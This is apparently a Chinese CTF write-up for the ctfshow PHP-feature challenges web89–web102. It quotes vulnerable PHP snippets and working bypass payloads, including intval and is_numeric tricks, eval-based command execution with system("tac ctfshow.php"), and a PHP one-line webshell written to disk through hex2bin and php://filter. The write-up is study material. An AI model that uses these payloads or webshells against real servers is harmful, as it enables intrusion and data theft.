ctfshow PHP特性
web89
preg_match("/[0-9]/", $num
[0-9]表达式用于查找括号之间的任何字符。括号内的数字可以是0到9之间的任何数字或跨度。
直接传一个空集
?num[]=
web90
intval($num,0)===4476
对intval函数的绕过
有以下绕过方法
?num[]=
4476.0===4476 小数点 +4476.0===4476 正负号 4476e0===4476 科学计数法 0x117c===4476 16进制 010574===4476 8进制+空格
web91-正则修饰符
/i 表示匹配的时候不区分大小写
/m 表示多行匹配,利用^$符号匹配每一行的开头结尾,若存在换行\n把这些作为换行符,然后逐行匹配
我们可以利用换行进行绕过
?cmd=%0aphp
%0a为URL换行符
web92-intval()函数、弱比较
16进制直接过了,和90一样
?num=0x117c
web93-八进制与小数点
if(preg_match("/[a-z]/i", $num)){ die("no no no!");
了对字母的绕过,那换用8进制
?num=010574
web94-八进制与小数点
if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!");
专门拿来防第一位是0,那这里只要不是开头第一位是0就可以了,那我们给进制前加一个空格%20或者先换行%0a,或者使用浮点数加小数点4476.0的方法绕过
?num=%20010574 ?num=%0a010574 ?num=4476.0
?num=%20010574 ?num=%0a010574 ?num=4476.0
web95-空格换行符
if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!");
多过滤个点,不能用浮点型绕过了,在前面加空格、换行仍可
?num=%20010574
?num=%0a010574
web96-highlight_file() 下的目录路径
if($_GET['u']=='flag.php'){ die("no no no");
不能单独只出现flag.php,那就加上当前目录,或者加上绝对路径
?u=./flag.php
web97-强比较
if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b']))
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的
a[]=1&b[]=2
web98-三目运算符+变量覆盖
$_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
三目运算+变量覆盖
$_GET?$_GET=&$_POST:’flag’;如果get传参,那么就可以用post中的值将其覆盖
highlight_file($_GET[‘HTTP_FLAG’]==’flag’?$flag:__FILE__);get传入一个HTTP_FLAG=flag即可得到flag
web99-in_array()函数第三个参数
for ($i=36; $i < 0x36d; $i++)
{ array_push($allow, rand(1,$i)); }
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']);
array_push向数组里面插入随机数,in_array判断n中是否含有这个随机数
in_array():有漏洞,没有设置第三个参数,默认转换成33
所以我们可以传个33.php
我们先上传一个一句话木马,在用蚁剑连接
web100-反射类/命令执行
$v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); }
很明显v2用来传命令,v3用来传 ; ,然后v1的话是传一个数字来绕过is_numeric,这里and与&&的一个知识点
<?php $a=true and false and false; var_dump($a); 返回true $a=true && false && false; var_dump($a); 返回false
只要v1为数字 就为true ,就可以绕过第一个if判断
payload:
可以rce cat php文件
?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;
可以直接var_dump ctfshow变量
?v1=1&v2=var_dump($ctfshow)&v3=; 解析: 先用数字绕过第一重检测
v3可以用来传 ; ,注不注释都可以 在输出文件
最后get到flag还要替换0x2d(十六进制ASCII的‘-’符号)
web101-反射类
highlight_file(__FILE__); include("ctfshow.php"); //flag in class ctfshow; $ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
过虑了特殊符号,不能使用getshell
反射类的具体使用方法可参考PHP: ReflectionClass – Manual
最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass('ctfshow');
payload:
?v1=1&v2=echo new ReflectionClass&v3=;
最后get到flag还要替换0x2d(十六进制ASCII的‘-’符号)
web102回调函数、经base64与bin2hex后全为数字
$v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
file_put_contents() 函数把一个字符串写入文件中。
is_numeric在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的。
var_dump(is_numeric("0x66")); php5的环境下返回true php7返回false
过调用函数hex2bin将16进制转换成字符串从而写入木马文件。
先编译一句话木马
<?php eval($_POST[1]);?> 0x3c3f706870206576616c28245f504f53545b315d293b3f3e
接着直接传入
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
但是该题环境没有设置好用的是php7,所以我们还是得找到另外一种方法绕过。
但是该题环境没有设置好用的是php7,所以我们还是得找到另外一种方法绕过。
虽然文件内容不好控制,但是可以利用伪协议将内容进行编码转换。
利用php伪协议将内容进行编码转换
总思路:
(v2从第三位开始所有的值作为v1函数的参数)->把v3作为文件名传入,既然往进写文件,那就可以写一个php的一句话木马或者是命令执行,那一句话木马如何只作为数字并且经过函数又正常执行呢,那一定是16进制和hex2bin,本以为这样就可以了,可能是因为php的原因,这里0x在is_numeric面前根本通不过,而且hex2bin也不允许有0x,所以这里还得再加一层base64,给文件内容进行base64加密然后v3利用php://filter/write=convert.base64-decode/resource伪协议把命令写进去,所以最终payload
get:?v2=11504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
这里v2就是
$a='<?=`cat *`;'; $b=base64_encode($a); // PD89YGNhdCAqYDs= $c=bin2hex($b); //这里直接用去掉=的base64 输出 5044383959474e6864434171594473
弄好以后查看源代码